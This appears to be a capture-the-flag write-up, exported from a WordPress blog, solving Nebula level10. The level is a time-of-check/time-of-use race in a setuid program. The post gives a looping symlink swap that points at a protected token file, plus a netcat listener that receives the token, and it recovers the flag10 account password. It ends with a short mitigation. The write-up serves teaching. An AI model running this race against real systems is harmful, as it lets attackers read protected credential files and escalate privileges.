{"id":48,"date":"2022-07-17T22:03:27","date_gmt":"2022-07-17T22:03:27","guid":{"rendered":"http:\/\/moveax.me\/?p=48"},"modified":"2022-08-31T19:01:52","modified_gmt":"2022-08-31T19:01:52","slug":"nebula-level10-a-newbies-approach","status":"publish","type":"post","link":"https:\/\/giga-rapid.com\/esites\/moveaxme\/nebula-level10-a-newbies-approach\/","title":{"rendered":"Nebula Level10: A Newbie\u2019s Approach"},"content":{"rendered":"\n

Level10 introduces the Time-of-check Time-of-use (TOCTOU) vulnerability, well described in the CWE<\/a> website.<\/p>\n\n\n\n

What you\u2019ll need to know\u2026<\/strong><\/h2>\n\n\n\n
  • C<\/li><\/ul>\n\n\n\n

    Level10<\/strong><\/h2>\n\n\n\n

    I\u2019ll quickly explain the TOCTOU vulnerability using a simple example. Consider the following lines of code.<\/p>\n\n\n\n

    if(!access(abc_file, W_OK)){\n  fp = fopen(abc_file, \"w+\");\n  write(fp, \"moveax\", sizeof(\"moveax\"));\n}\n\nelse{\n  fprintf(stderr, \"Sorry, but you don't have permissions to write to this file!\\n\");\n}<\/pre>\n\n\n\n
    It\u2019s a simple piece of code, it checks if you have access to the file abc_file<\/em>. If you do, it\u2019ll open this file and write moveax<\/em> and if you don\u2019t, it will print a message to stderr. So, the \u201ctime of check\u201d is the first line and the \u201ctime of use\u201d is the second one.<\/p>\n\n\n\n
    Now, imagine that a user with malicious intents, starts with creating a symbolic link to an important file (passwd maybe) infinitely and parallel to the execution of the code displayed above. If the creation of this symbolic link happens between the first two lines: JACKPOT! One note: for sure, many of the attempts to create the symbolic link will fail because happened before the if clause. You\u2019ll see this while we solve this level10 challenge.<\/p>\n\n\n\n
    \"Line24\"
    Time of Check<\/figcaption><\/figure>\n\n\n\n
    \"Line54\"
    Time of Use<\/figcaption><\/figure>\n\n\n\n
    First of all, let\u2019s put netcat listening. You can do this in the same VM or another, running while true;<\/em> do nc -lv 18211; done (Linux) or FOR \/L %N IN () DO nc -lvp 18211<\/em> (Windows).<\/p>\n\n\n\n
    Second, we need to create a fake token. Next, we need to create a symbolic link in our home that points to the fake token and alternate this symbolic link with one that points to the real token into the flag10 home directory. Important note: we need to do this repeatedly so we can have the instructions executed in the order presented below.<\/p>\n\n\n\n
    Ideal instructions order\u2019s<\/strong><\/h4>\n\n\n\n
    ln -sf \/tmp\/sometoken \/home\/level10\/token;\nif(access(argv[1], R_OK) == 0) {\n...\nln -sf \/home\/flag10\/token \/home\/level10\/token;\n...\nffd = open(file, O_RDONLY);<\/pre>\n\n\n\n
    Now, we just need to keep sending the file through netcat. Finally, run while true;<\/em> do \/home\/flag10\/flag10 \/home\/level10\/token <your IP>; <\/em>done<\/em> in order to achieve this.<\/p>\n\n\n\n
    The following image shows the commands that I executed in order to read the token file.<\/p>\n\n\n
    \n
    \"commands\"<\/figure>\n<\/div>\n\n\n
    After this point, you can notice two files in the home directory, the symbolic link and the output_level10 file.<\/p>\n\n\n
    \n
    \"Files\"<\/figure>\n<\/div>\n\n\n
    If you go ahead and read the output_level10 file you\u2019ll find there the password of flag10 account.<\/p>\n\n\n
    \n
    \"Result<\/figure>\n<\/div>\n\n\n
    Notice that there are a lot of failed tries as I told you.<\/p>\n\n\n\n
    Let\u2019s now try to login into the flag10 account\u2026<\/p>\n\n\n
    \n
    \"Solution\"<\/figure>\n<\/div>\n\n\n
    There you go. Challenge level10 solved!<\/p>\n\n\n\n
    Challenges completed: 11\/20<\/p>\n\n\n\n
    Mitigation<\/strong><\/h2>\n\n\n\n
    TOCTOU race conditions are hard to eliminate. One way of avoiding them is to use file descriptors throughout functions like fstat<\/em> and don\u2019t use functions like access<\/em>.<\/p>\n\n\n\n
    Walkthrough<\/strong><\/h2>\n\n\n\n
    \n